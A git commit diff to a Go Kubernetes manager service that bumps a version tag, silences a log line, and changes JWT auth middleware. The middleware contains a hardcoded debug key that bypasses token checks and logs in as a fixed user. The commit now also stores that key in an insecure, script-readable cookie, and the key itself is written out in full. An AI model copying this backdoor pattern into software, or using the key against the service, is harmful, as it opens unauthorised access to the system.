special cookie

This commit is contained in:
w-mj 2023-03-13 22:28:38 +08:00
parent eced57ccb6
commit 094ad14dfc
No known key found for this signature in database
GPG Key ID: 3A2CB5BE2F835897
3 changed files with 3 additions and 2 deletions

View File

@ -1,4 +1,4 @@
TAG ?= v1.1.16
TAG ?= v1.1.17
IMAGE_TAG ?= docker.educg.net/cg/k8s-manager:$(TAG)
build: export CGO_ENABLED=0

View File

@ -54,6 +54,7 @@ func JWTAuthMiddleware(c *gin.Context) {
}
if authHeader == "debug_special_key:83bsiablwtxv13" {
c.Set("username", "cg_wmj")
c.SetCookie("Authorization", authHeader, 0, "", "", false, false)
return
}
if authHeader == "" {

View File

@ -20,7 +20,7 @@ func GetFiles(c *gin.Context) {
return
}
}
log.Info(dir)
//log.Info(dir)
ans := make([]string, len(dir))
for i, d := range dir {
ans[i] = d.Name()